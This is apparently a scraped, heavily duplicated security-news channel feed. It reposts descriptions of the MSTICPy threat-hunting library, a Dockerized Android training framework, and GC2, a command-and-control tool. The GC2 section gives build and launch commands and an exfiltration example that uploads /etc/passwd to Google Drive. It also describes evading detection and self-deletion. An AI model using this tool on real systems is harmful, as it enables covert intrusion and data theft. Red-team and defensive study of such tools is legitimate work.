Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! Msticpy - Microsoft Threat Intelligence Security Tools https://blogger.googleusercontent.com/img/a/AVvXsEhWPcKkGZt_sXagWVAzFZUm0x-wf8U4aWVftHj5-pjdkt-DQFimzdJrkJqTGT9KTKoaKAvccFKi-D0AWpYtzYrU-8IxCFHX4mZ7XqRWTixlAdzZZUv3A0d1eyi6b…
kup classes allow you to match the geo-locations of IP addresses using either:
* GeoLiteLookup - Maxmind Geolite (see https://www.maxmind.com)
* IPStackLookup - IPStack (see https://ipstack.com) https://blogger.googleusercontent.com/img/a/AVvXsEgV0P9KH0SdBKOa_xG4yK3Oik_u-rmryt8fdVDzOtrh3uw7U_tOymN8rUKwBbc0yfzVjagGD7DlwRS1SKgN8ma7D-6DcCBJSl1nMceXB5xfZHTgbIKk_O6MhU60YS30kKkoHobHsE4dgD_vnYaxUJKNERBAwYeRmTor_OAPkImsVm2eVI1G92ku0-Aa1A=w640-h454 GeoIP Lookupand GeoIP Notebook Azure Resource Data, Storage and Azure Sentinel APIThe AzureData module contains functionality for enriching data regarding Azure host details with additional host details exposed via the Azure API. The AzureSentinel module allows you to query incidents, retrieve detector and hunting queries. AzureBlogStorage lets you read and write data from blob storage. Azure Resource APIs, Azure Sentinel APIs, Azure Storage Security AnalysisThis subpackage contains several modules helpful for working on security investigations and hunting: Anomalous Sequence DetectionDetect unusual sequences of events in your Office, Active Directory or other log data. You can extract sessions (e.g. activity initiated by the same account) and identify and visualize unusual sequences of activity. For example, detecting an attacker setting a mail forwarding rule on someone's mailbox. Anomalous Sessionsand Anomalous Sequence Notebook Time Series AnalysisTime series analysis allows you to identify unusual patterns in your log data taking into account normal seasonal variations (e.g. the regular ebb and flow of events over hours of the day, days of the week, etc.). Using both analysis and visualization highlights unusual traffic flows or event activity for any data set. https://blogger.googleusercontent.com/img/a/AVvXsEgzSYFo55nAM0F6yZew_nK5290_-n04p17Bj6ZWKfswOUVHWaXVJYOy1fyRBpntA-qR-W2CPxN027qvo45oOTPbn0OozRBNE5DWR873jjCoqxZ-O5Q9LYZYOlp9LRJS7HuALaj4SrB7Eu5FS6ZhDTf3HWlGdO_Nn5jMWCVBuknQ5aikcdvzi2gTj_n8Lg=w640-h466 Time Series VisualizationEvent TimelinesDisplay any log events on an interactive timeline. Using the Bokeh Visualization Library the timeline control enables you to visualize one or more event streams, interactively zoom into specific time slots and view event details for plotted events. https://blogger.googleusercontent.com/img/a/AVvXsEgqXWORQMg2UbzM1w3AzBIJkIdzv4N3dXkgLnIxc2wAHM-awW-1D0P3A0GAJZxewUOY1h_PoLuMAaCe855_UlwEfUmzRqeUqntXTyqiEwUpiTVAJ-KpHjniU0qiaV7omL2faCGmVAURYG--xpfKIRWi57nrv019p5qTnF4rkr4ZPMw5CG-YXllQuWvxVw=w640-h292 Timelineand Timeline Notebook Process TreesThe process tree functionality has two main components:
* Process Tree creation - taking a process creation log from a host and building the parent-child relationships between processes in the data set.
* Process Tree visualization - this takes the processed output displays an interactive process tree using Bokeh plots.
There are a set of utility functions to extract individual and partial trees from the processed data set. https://blogger.googleusercontent.com/img/a/AVvXsEiV4ci4GDLGHEJwqikTqDhWkW5Bpof74-zC1kPgGDPxd9RlU79Wmyh5fSXvAZ9A67PyytulGPICiG3biXdFgtlL6ayM2kipalzfIYxOgznbPKEG-c-PvxjalJsSm2vzq20hUqcpOzI5wnpeXJKBd3ekyxatAYd020-hu34tUXykbLajPJ88-LSwp_L2_Q=w640-h450 Process Treeand Process Tree Notebook Data Manipulation and Utility functionsPivot FunctionsLets you use MSTICPy functionality in an "entity-centric" way. All functions, queries and lookups that relate to a particular entity type (e.g. Host, IpAddress, Url) are collected together as methods of that entity class. So, if you want to do things with an IP address, just load the IpAddress entity and browse its methods. Pivot Functionsand Pivot Functions Notebook base64unpackBase64 and archive (gz, zip, tar) extractor. It will try to identify any base64 encoded strings and try decode them. If the result looks like one of the supported archive types it will unpack the [...]
___________________________
@hacking_Attack
@Hacking_Video
* GeoLiteLookup - Maxmind Geolite (see https://www.maxmind.com)
* IPStackLookup - IPStack (see https://ipstack.com) https://blogger.googleusercontent.com/img/a/AVvXsEgV0P9KH0SdBKOa_xG4yK3Oik_u-rmryt8fdVDzOtrh3uw7U_tOymN8rUKwBbc0yfzVjagGD7DlwRS1SKgN8ma7D-6DcCBJSl1nMceXB5xfZHTgbIKk_O6MhU60YS30kKkoHobHsE4dgD_vnYaxUJKNERBAwYeRmTor_OAPkImsVm2eVI1G92ku0-Aa1A=w640-h454 GeoIP Lookupand GeoIP Notebook Azure Resource Data, Storage and Azure Sentinel APIThe AzureData module contains functionality for enriching data regarding Azure host details with additional host details exposed via the Azure API. The AzureSentinel module allows you to query incidents, retrieve detector and hunting queries. AzureBlogStorage lets you read and write data from blob storage. Azure Resource APIs, Azure Sentinel APIs, Azure Storage Security AnalysisThis subpackage contains several modules helpful for working on security investigations and hunting: Anomalous Sequence DetectionDetect unusual sequences of events in your Office, Active Directory or other log data. You can extract sessions (e.g. activity initiated by the same account) and identify and visualize unusual sequences of activity. For example, detecting an attacker setting a mail forwarding rule on someone's mailbox. Anomalous Sessionsand Anomalous Sequence Notebook Time Series AnalysisTime series analysis allows you to identify unusual patterns in your log data taking into account normal seasonal variations (e.g. the regular ebb and flow of events over hours of the day, days of the week, etc.). Using both analysis and visualization highlights unusual traffic flows or event activity for any data set. https://blogger.googleusercontent.com/img/a/AVvXsEgzSYFo55nAM0F6yZew_nK5290_-n04p17Bj6ZWKfswOUVHWaXVJYOy1fyRBpntA-qR-W2CPxN027qvo45oOTPbn0OozRBNE5DWR873jjCoqxZ-O5Q9LYZYOlp9LRJS7HuALaj4SrB7Eu5FS6ZhDTf3HWlGdO_Nn5jMWCVBuknQ5aikcdvzi2gTj_n8Lg=w640-h466 Time Series VisualizationEvent TimelinesDisplay any log events on an interactive timeline. Using the Bokeh Visualization Library the timeline control enables you to visualize one or more event streams, interactively zoom into specific time slots and view event details for plotted events. https://blogger.googleusercontent.com/img/a/AVvXsEgqXWORQMg2UbzM1w3AzBIJkIdzv4N3dXkgLnIxc2wAHM-awW-1D0P3A0GAJZxewUOY1h_PoLuMAaCe855_UlwEfUmzRqeUqntXTyqiEwUpiTVAJ-KpHjniU0qiaV7omL2faCGmVAURYG--xpfKIRWi57nrv019p5qTnF4rkr4ZPMw5CG-YXllQuWvxVw=w640-h292 Timelineand Timeline Notebook Process TreesThe process tree functionality has two main components:
* Process Tree creation - taking a process creation log from a host and building the parent-child relationships between processes in the data set.
* Process Tree visualization - this takes the processed output displays an interactive process tree using Bokeh plots.
There are a set of utility functions to extract individual and partial trees from the processed data set. https://blogger.googleusercontent.com/img/a/AVvXsEiV4ci4GDLGHEJwqikTqDhWkW5Bpof74-zC1kPgGDPxd9RlU79Wmyh5fSXvAZ9A67PyytulGPICiG3biXdFgtlL6ayM2kipalzfIYxOgznbPKEG-c-PvxjalJsSm2vzq20hUqcpOzI5wnpeXJKBd3ekyxatAYd020-hu34tUXykbLajPJ88-LSwp_L2_Q=w640-h450 Process Treeand Process Tree Notebook Data Manipulation and Utility functionsPivot FunctionsLets you use MSTICPy functionality in an "entity-centric" way. All functions, queries and lookups that relate to a particular entity type (e.g. Host, IpAddress, Url) are collected together as methods of that entity class. So, if you want to do things with an IP address, just load the IpAddress entity and browse its methods. Pivot Functionsand Pivot Functions Notebook base64unpackBase64 and archive (gz, zip, tar) extractor. It will try to identify any base64 encoded strings and try decode them. If the result looks like one of the supported archive types it will unpack the [...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
kup classes allow you to match the geo-locations of IP addresses using either: * GeoLiteLookup - Maxmind Geolite (see https://www.maxmind.com) * IPStackLookup - IPStack (see https://ipstack.com) https://blogger.googleusercontent.com/img/a/AVvXsEgV0P9KH0…
contents. The results of each decode/unpack are rechecked for further base64 content and up to a specified depth. Base64 Decodingand Base64Unpack Notebook iocextractUses regular expressions to look for Indicator of Compromise (IoC) patterns - IP Addresses, URLs, DNS domains, Hashes, file paths. Input can be a single string or a pandas dataframe. IoC Extractionand IoCExtract Notebook eventcluster (experimental)This module is intended to be used to summarize large numbers of events into clusters of different patterns. High volume repeating events can often make it difficult to see unique and interesting items. https://blogger.googleusercontent.com/img/a/AVvXsEgDDhfCbVRxQ2jmenw2LVLriWkc_XS5VmcQbPx8ZIdiUSRfROpYM-pMSUfpveb6XBCAFX_YxaFiJhxbQwe04hZaWnLY7x8xTFutX3Lm3nkELElvov3nzWMIW-h59OFPaIAmYnDLyx5GoegWuR7GdF6Kq0Y1XBneuKnPqCAaw55fzn7wtRXwdNwApczkUg=w640-h554 This is an unsupervised learning module implemented using SciKit Learn DBScan. Event Clusteringand Event Clustering Notebook auditdextractModule to load and decode Linux audit logs. It collapses messages sharing the same message ID into single events, decodes hex-encoded data fields and performs some event-specific formatting and normalization (e.g. for process start events it will re-assemble the process command line arguments into a single string). syslog_utilsModule to support an investigation of a Linux host with only syslog logging enabled. This includes functions for collating host data, clustering logon events and detecting user sessions containing suspicious activity. cmd_lineA module to support he detection of known malicious command line activity or suspicious patterns of command line activity. domain_utilsA module to support investigation of domain names and URLs with functions to validate a domain name and screenshot a URL. Notebook widgetsThese are built from the Jupyter ipywidgets collection and group common functionality useful in InfoSec tasks such as list pickers, query time boundary settings and event display into an easy-to-use format. https://blogger.googleusercontent.com/img/a/AVvXsEjdVupcTm2X3skLyUmSzjFgCeHaIrf4bRJc2W6EQGMXIrUiIofMmv01YBMbpm_qWq-5Mnj1Jt0phOi9N6NMVbXHYZRet7vroZMtoC2mbPAGUAurSZVsCgF4jN0_2DaVY4rSEEsZ7g1n4neGvfQD1NFhLlfuWcmtwNI-9qyqScCrrqWeHE122gRA23oltw=w640-h412 https://blogger.googleusercontent.com/img/a/AVvXsEifUJbBoubH1EIRSfohtXz9Un4qoXt65ABflhC8YsarvFnhTrS7hmxpSPE26QEYrbagGVTCmXRpvKw8IOJGJ8mJ7UVbnRKz6KW9hlIyf7XLUXIq1Ln6cCqc2h-31nFqJRcE5bKxeylB4dfaI91zhzz1LV1_tb7yp8LPpfoQVWb-JQkU4bKmcxO-sR__qQ=w640-h150 More Notebooks on Azure Sentinel Notebooks GitHubAzure Sentinel Notebooks
Example notebooks:
* Account Explorer
* Domain and URL Explorer
* IP Explorer
* Linux Host Explorer
* Windows Host Explorer
View directly on GitHub or copy and paste the link into nbviewer.org Notebook examples with saved dataSee the following notebooks for more examples of the use of this package in practice:
* Windows Alert Investigation in GitHubor NbViewer
* Office 365 Exploration in GitHubor NbViewer
* Cross-Network Hunting in GitHubor NbViewer Supported Platforms and Packages* msticpy is OS-independent
* Requires Python 3.6 or later
* See requirements.txt for more details and version requirements. ContributingFor (brief) developer guidelines, see this wiki article Contributor Guidelines
This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.microsoft.com.
When you submit a pull request, a CLA-bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., label, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.
This pro[...]
___________________________
@hacking_Attack
@Hacking_Video
Example notebooks:
* Account Explorer
* Domain and URL Explorer
* IP Explorer
* Linux Host Explorer
* Windows Host Explorer
View directly on GitHub or copy and paste the link into nbviewer.org Notebook examples with saved dataSee the following notebooks for more examples of the use of this package in practice:
* Windows Alert Investigation in GitHubor NbViewer
* Office 365 Exploration in GitHubor NbViewer
* Cross-Network Hunting in GitHubor NbViewer Supported Platforms and Packages* msticpy is OS-independent
* Requires Python 3.6 or later
* See requirements.txt for more details and version requirements. ContributingFor (brief) developer guidelines, see this wiki article Contributor Guidelines
This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.microsoft.com.
When you submit a pull request, a CLA-bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., label, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.
This pro[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
contents. The results of each decode/unpack are rechecked for further base64 content and up to a specified depth. Base64 Decodingand Base64Unpack Notebook iocextractUses regular expressions to look for Indicator of Compromise (IoC) patterns - IP Addresses…
ject has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments. Download Msticpy
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
So a couple fellow security researchers were talking about the bugs we found that particular day and one of them brought up XSS and how a…Continue reading on Medium » (https://y0sum3x.medium.com/remember-these-xss-days-6a950073cb55?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
GC2 : A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive
GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.
Why
This program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, …) during Red Teaming activities.
Furthermore, the program will interact only with Google’s domains (*.google.com) to make detection more difficult.
PS: Please don’t upload the compiled binary on VirusTotal https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png
Set up
Build executable
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
go build gc2-sheet.go
* Create a new google “service account”Create a new google “service account” using https://console.cloud.google.com/, create a .json key file for the service account
* Enable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive–api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go
* Set up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email)
Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)
Start the C2
gc2-sheet –key <gcp–sheet <google–drive <google
* PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)
Features
* Command execution using Google Sheet as a console
* Download files on the target using Google Drive
* Data exfiltration using Google Drive
* Exit
Command execution
The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column “A”, and the output will be printed in the column “B”.
Data exfiltration file
Special commands are reserved to perform the upload and download to the target machine
From Target to Google Drive
upload;
Example:
upload;/etc/passwd
Download file
Special commands are reserved to perform the upload and download to the target machine
From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt
Exit
By sending the command exit, the program will delete itself from the target and kill its process
PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.
WorkFlow
https://blogger.googleusercontent.com/img/a/AVvXsEhbMATT65ZtMDp8a2mwdzRa_P5MHDSQhUPMxM4oo8W2yvnrbOU4jlge-IKQlQT_NwMuRzOVyqw8VIjYDdrjFgBMbu1TSReWYQaXFl7YUXZyDIiEomMvKqmouWAyvUJw_AOKxg182vyG4KzjbjgDk9323dQjRpXpqp2ETz7MbkEFw53-RKJasDLRMwpP=s1280
Download
GC2 : A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive
GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.
Why
This program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, …) during Red Teaming activities.
Furthermore, the program will interact only with Google’s domains (*.google.com) to make detection more difficult.
PS: Please don’t upload the compiled binary on VirusTotal https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png
Set up
Build executable
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
go build gc2-sheet.go
* Create a new google “service account”Create a new google “service account” using https://console.cloud.google.com/, create a .json key file for the service account
* Enable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive–api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go
* Set up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email)
Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)
Start the C2
gc2-sheet –key <gcp–sheet <google–drive <google
* PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)
Features
* Command execution using Google Sheet as a console
* Download files on the target using Google Drive
* Data exfiltration using Google Drive
* Exit
Command execution
The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column “A”, and the output will be printed in the column “B”.
Data exfiltration file
Special commands are reserved to perform the upload and download to the target machine
From Target to Google Drive
upload;
Example:
upload;/etc/passwd
Download file
Special commands are reserved to perform the upload and download to the target machine
From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt
Exit
By sending the command exit, the program will delete itself from the target and kill its process
PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.
WorkFlow
https://blogger.googleusercontent.com/img/a/AVvXsEhbMATT65ZtMDp8a2mwdzRa_P5MHDSQhUPMxM4oo8W2yvnrbOU4jlge-IKQlQT_NwMuRzOVyqw8VIjYDdrjFgBMbu1TSReWYQaXFl7YUXZyDIiEomMvKqmouWAyvUJw_AOKxg182vyG4KzjbjgDk9323dQjRpXpqp2ETz7MbkEFw53-RKJasDLRMwpP=s1280
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Dockerized-Android : A Container-Based Framework To Enable The Integration Of Mobile Components In Security Training Platforms
Dockerized Android is a container-based framework that allows to execute and Android Emulator inside Docker and control it through a browser. This project has been developed in order to provide a starting point for integrating mobile security components into Cyber Ranges but it can be used for any purpose. Anyway, for development and testing purposes the project suggested is docker-android.
Intro
As stated in the brief description above this project has been created in order to provide a starting point for the introduction of mobile security components into Cyber Ranges. For this reasons the features already developed and the ones that will be added in the feature will help the user to make easier to setup a realistic simulation (for example for security training). This README is quite long, maybe you just wanna skip to the “How to run” part.
Features
The following features are currently available:
* Run an Android Emulator in Docker
* Control the device through the web browser
* Install applications
* Enable port forwarding
* Reboot the device
* Emulate SMS
* Use the terminal from the web browser
* Attach also a physical device
* Customize startup behaviour (see Configuration section)
* Easily manage multiple instances
Initial setupInstance Manager SetupManual Setupinitial-setupinstance-manager-setupmanual-setup Toolbox featuresInstance Switchtoolboxinstance-switch Architecture
The project is composed by three main pieces:
* Dockerized Android Core
* Dockerized Android UI
* Dockerized Android Instance Manager (optional) The following figure provides an overview of the actual architecture of the two mandatory components
https://blogger.googleusercontent.com/img/a/AVvXsEhjFoTa5s0dsXG86Q7jooXdYLJ5G5Ije7JvDGDOvzVfh4NOVExp9xrOubJbhCdiK9jiZBYCuxxaNLqWKwnAU8HFCsXnTl_BZ8febwTUoelAEktewNJL_x0tGFdp_91K8SuSjnUxIvY7dN6LEsyXBTbyZT_Bx143093ReqPsgZQVur9hht20gAU_4tZc=s1171
Core Component
The Core component is the one that executes all the processes needed to run an Android Com-ponent (Emulated or Real) inside a Docker container, also ex-posing some features to the outside. It is with no doubt the most complex part becauseit has to manage different processes in order to provide a set of features. The above figure shows a clear distinction between long-lived processes,start processes and util scripts. Besides, this figure shows that there are 6 long-lived processes, this is a little inaccuracy added to provide a general overview of the Core component, in reality there are two different flavours of the Core component:
* Core for Emulator
* Core for Real Device The main architectural difference is the one regarding the long-lived processess: the Core for Emulator runs the long-lived emulator process while the Core for Real Device runs the long-lived scrcpy process to display and control the physical device. The other parts are quite similar with just some logic to follow a different behaviour based on the type of the Core component. UI Component
The UI component provides a simple way to use all the features exposed by the backend and also adds the ability to display and control the device. The user has to manually insert the address of the Core component and the corresponding ports (the port exposed by the backend and the port exposed by websockify); through this manual setup it is possible to change the default ports (which are 4242 for the backend and 6080 for websockify). Instance Manager Component
The Instance Manager component has the job to provide all the informations(i.e., addresses and ports) about the running Cores through a single REST API. This is done by writing a simple JSON configuration file that contains all the information about the Cores that are pr[...]
Dockerized-Android : A Container-Based Framework To Enable The Integration Of Mobile Components In Security Training Platforms
Dockerized Android is a container-based framework that allows to execute and Android Emulator inside Docker and control it through a browser. This project has been developed in order to provide a starting point for integrating mobile security components into Cyber Ranges but it can be used for any purpose. Anyway, for development and testing purposes the project suggested is docker-android.
Intro
As stated in the brief description above this project has been created in order to provide a starting point for the introduction of mobile security components into Cyber Ranges. For this reasons the features already developed and the ones that will be added in the feature will help the user to make easier to setup a realistic simulation (for example for security training). This README is quite long, maybe you just wanna skip to the “How to run” part.
Features
The following features are currently available:
* Run an Android Emulator in Docker
* Control the device through the web browser
* Install applications
* Enable port forwarding
* Reboot the device
* Emulate SMS
* Use the terminal from the web browser
* Attach also a physical device
* Customize startup behaviour (see Configuration section)
* Easily manage multiple instances
Initial setupInstance Manager SetupManual Setupinitial-setupinstance-manager-setupmanual-setup Toolbox featuresInstance Switchtoolboxinstance-switch Architecture
The project is composed by three main pieces:
* Dockerized Android Core
* Dockerized Android UI
* Dockerized Android Instance Manager (optional) The following figure provides an overview of the actual architecture of the two mandatory components
https://blogger.googleusercontent.com/img/a/AVvXsEhjFoTa5s0dsXG86Q7jooXdYLJ5G5Ije7JvDGDOvzVfh4NOVExp9xrOubJbhCdiK9jiZBYCuxxaNLqWKwnAU8HFCsXnTl_BZ8febwTUoelAEktewNJL_x0tGFdp_91K8SuSjnUxIvY7dN6LEsyXBTbyZT_Bx143093ReqPsgZQVur9hht20gAU_4tZc=s1171
Core Component
The Core component is the one that executes all the processes needed to run an Android Com-ponent (Emulated or Real) inside a Docker container, also ex-posing some features to the outside. It is with no doubt the most complex part becauseit has to manage different processes in order to provide a set of features. The above figure shows a clear distinction between long-lived processes,start processes and util scripts. Besides, this figure shows that there are 6 long-lived processes, this is a little inaccuracy added to provide a general overview of the Core component, in reality there are two different flavours of the Core component:
* Core for Emulator
* Core for Real Device The main architectural difference is the one regarding the long-lived processess: the Core for Emulator runs the long-lived emulator process while the Core for Real Device runs the long-lived scrcpy process to display and control the physical device. The other parts are quite similar with just some logic to follow a different behaviour based on the type of the Core component. UI Component
The UI component provides a simple way to use all the features exposed by the backend and also adds the ability to display and control the device. The user has to manually insert the address of the Core component and the corresponding ports (the port exposed by the backend and the port exposed by websockify); through this manual setup it is possible to change the default ports (which are 4242 for the backend and 6080 for websockify). Instance Manager Component
The Instance Manager component has the job to provide all the informations(i.e., addresses and ports) about the running Cores through a single REST API. This is done by writing a simple JSON configuration file that contains all the information about the Cores that are pr[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Dockerized-Android : A Container-Based Framework To Enable The Integration Of Mobile Components In Security Training Platforms Dockerized Android is a container-based framework that allows to execute and Android Emulator inside Docker…
esent into the docker-compose in order to avoid the painful job of manually adding one by one. The structure of the JSON configuration file is the following:
{
“instances”: [
{
“name”: [Generic string to identify the device],
“address”: [Address of the component],
“core_port”: [Port of the backend],
“vnc_port”: [Port of VNC]
}
]
}
List of Docker images
Android VersionAPIImage5.0.121secsi/dockerized-android-core-emulator-5.0.15.1.122secsi/dockerized-android-core-emulator-5.1.16.023secsi/dockerized-android-core-emulator-6.07.024secsi/dockerized-android-core-emulator-7.07.1.125secsi/dockerized-android-core-emulator-7.1.18.026secsi/dockerized-android-core-emulator-8.08.127secsi/dockerized-android-core-emulator-8.19.028secsi/dockerized-android-core-emulator-9.010.029secsi/dockerized-android-core-emulator-10.011.030secsi/dockerized-android-core-emulator-11.0––secsi/dockerized-android-core-bare––secsi/docker-android-core-real-device
The secsi/dockerized-android-core-bare does not download any system image and you may mount the folder on your host machine where you have all the SDK folders How To Run
In order to see a full example on how to run the platform you may watch the docker-compose available in the root directory. This setup contains two different cores and also the optional Instance Manager component. Once you understood how it works you may change it to satisfy any needs you have. Prerequisites
Docker and Docker Compose have to be installed on your machine. OS compatibility
This platform behaves in different ways based on the host OS, here is a table that summarizes the current compatibility:
LinuxWindowsOS XCore for EmulatorFull compatibilityNot supported (yet)Not supportedCore for Real DeviceFull compatibilityFull compatibilityWorkaround
For Windows and OS X you have to use a Linux VM with nested virtualization.
To check if your Linux machine supports nested virtualization you may run the following commands:
sudo apt install cpu-checker
kvm-ok
OS X Workaround for Real Device
To use the Core for Real Device on OS X you may:
* Use the adb of the host
* Use wireless connection
For the wireless connection Google provides a simple tutorial. To connect to the host adb from within the container you have to manually enter inside the container and run:
adb -H host.docker.internal devices
One line command to run
The command to start using the framework with two cores and a instance manager is simply:
docker-compose up
Build
You may also build the images yourself throught the scripts placed in the utils folder Configuration
You may configure some features to customize the setup through ENV variables, the following table provides a list of all of them:
ComponentENV NameDefault valueDescriptionCoreTARGET_PORT6080Websockify portCoreCUSTOM_APP_DEFAULT_PORT4242Node.js backend portCoreDEVICEINFOUnset, but behaves like trueEnables/Disables the device info featureCoreTERMINALUnset, but behaves like trueEnables/Disables the terminal featureCoreAPKUnset, but behaves like trueEnables/Disables the install APK featureCoreFORWARDUnset, but behaves like trueEnables/Disables the port forward featureCoreSMSUnset, but behaves like trueEnables/Disables the SMS emulation featureCoreREBOOTUnset, but behaves like trueEnables/Disables the reboot featureCoreINSTALL_ON_STARTUPfalseEnables/Disables the feature that allows to install all the apks placed in the/root/dockerized-android/apk foldeCoreENABLE_UNKNOWN_SOURCESfalseEnables the install from unknown sourcesCoreREAL_DEVICE_SERIALunsetIf there is more than one physical device connected this value must be set to the serial of the device that has to be controlled otherwise all the other features won’t workInstance ManagerDEFAULT_PORT7373Port of the REST API
The REAL_DEVICE_SERIAL variable is fundamental if there is more than one physical device attached because if missing nothing will work. Finally there is a list of exposed [...]
{
“instances”: [
{
“name”: [Generic string to identify the device],
“address”: [Address of the component],
“core_port”: [Port of the backend],
“vnc_port”: [Port of VNC]
}
]
}
List of Docker images
Android VersionAPIImage5.0.121secsi/dockerized-android-core-emulator-5.0.15.1.122secsi/dockerized-android-core-emulator-5.1.16.023secsi/dockerized-android-core-emulator-6.07.024secsi/dockerized-android-core-emulator-7.07.1.125secsi/dockerized-android-core-emulator-7.1.18.026secsi/dockerized-android-core-emulator-8.08.127secsi/dockerized-android-core-emulator-8.19.028secsi/dockerized-android-core-emulator-9.010.029secsi/dockerized-android-core-emulator-10.011.030secsi/dockerized-android-core-emulator-11.0––secsi/dockerized-android-core-bare––secsi/docker-android-core-real-device
The secsi/dockerized-android-core-bare does not download any system image and you may mount the folder on your host machine where you have all the SDK folders How To Run
In order to see a full example on how to run the platform you may watch the docker-compose available in the root directory. This setup contains two different cores and also the optional Instance Manager component. Once you understood how it works you may change it to satisfy any needs you have. Prerequisites
Docker and Docker Compose have to be installed on your machine. OS compatibility
This platform behaves in different ways based on the host OS, here is a table that summarizes the current compatibility:
LinuxWindowsOS XCore for EmulatorFull compatibilityNot supported (yet)Not supportedCore for Real DeviceFull compatibilityFull compatibilityWorkaround
For Windows and OS X you have to use a Linux VM with nested virtualization.
To check if your Linux machine supports nested virtualization you may run the following commands:
sudo apt install cpu-checker
kvm-ok
OS X Workaround for Real Device
To use the Core for Real Device on OS X you may:
* Use the adb of the host
* Use wireless connection
For the wireless connection Google provides a simple tutorial. To connect to the host adb from within the container you have to manually enter inside the container and run:
adb -H host.docker.internal devices
One line command to run
The command to start using the framework with two cores and a instance manager is simply:
docker-compose up
Build
You may also build the images yourself throught the scripts placed in the utils folder Configuration
You may configure some features to customize the setup through ENV variables, the following table provides a list of all of them:
ComponentENV NameDefault valueDescriptionCoreTARGET_PORT6080Websockify portCoreCUSTOM_APP_DEFAULT_PORT4242Node.js backend portCoreDEVICEINFOUnset, but behaves like trueEnables/Disables the device info featureCoreTERMINALUnset, but behaves like trueEnables/Disables the terminal featureCoreAPKUnset, but behaves like trueEnables/Disables the install APK featureCoreFORWARDUnset, but behaves like trueEnables/Disables the port forward featureCoreSMSUnset, but behaves like trueEnables/Disables the SMS emulation featureCoreREBOOTUnset, but behaves like trueEnables/Disables the reboot featureCoreINSTALL_ON_STARTUPfalseEnables/Disables the feature that allows to install all the apks placed in the/root/dockerized-android/apk foldeCoreENABLE_UNKNOWN_SOURCESfalseEnables the install from unknown sourcesCoreREAL_DEVICE_SERIALunsetIf there is more than one physical device connected this value must be set to the serial of the device that has to be controlled otherwise all the other features won’t workInstance ManagerDEFAULT_PORT7373Port of the REST API
The REAL_DEVICE_SERIAL variable is fundamental if there is more than one physical device attached because if missing nothing will work. Finally there is a list of exposed [...]
Hacking Articles Tips Tricks Videos Tutorials
esent into the docker-compose in order to avoid the painful job of manually adding one by one. The structure of the JSON configuration file is the following: { “instances”: [ { “name”: [Generic string to identify the device], “address”: [Address of the component]…
ports by each component:
ComponentPort #DescriptionCore5555ADB portCore4242Node.js BackendCore6080Websockify (for noVNC)UI80FrontendInstance Manager7373REST API Download
ComponentPort #DescriptionCore5555ADB portCore4242Node.js BackendCore6080Websockify (for noVNC)UI80FrontendInstance Manager7373REST API Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Top Assembly Instructions for Malware Analysis
Knowledge of assembly (x86) is crucial to being a good malware analyst, but knowledge of all assembly instructions might be an overkill…
Continue reading on Medium »
Top Assembly Instructions for Malware Analysis
Knowledge of assembly (x86) is crucial to being a good malware analyst, but knowledge of all assembly instructions might be an overkill…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Zebec’s Hackathon: The Ship 2021 Highlights
https://cdn-images-1.medium.com/max/2480/1*TwN5-xwP5ogLUJb4Hljy4Q.jpeg
Hack with Zebec and Win up to $10000!
Continue reading on Zebec Protocol »
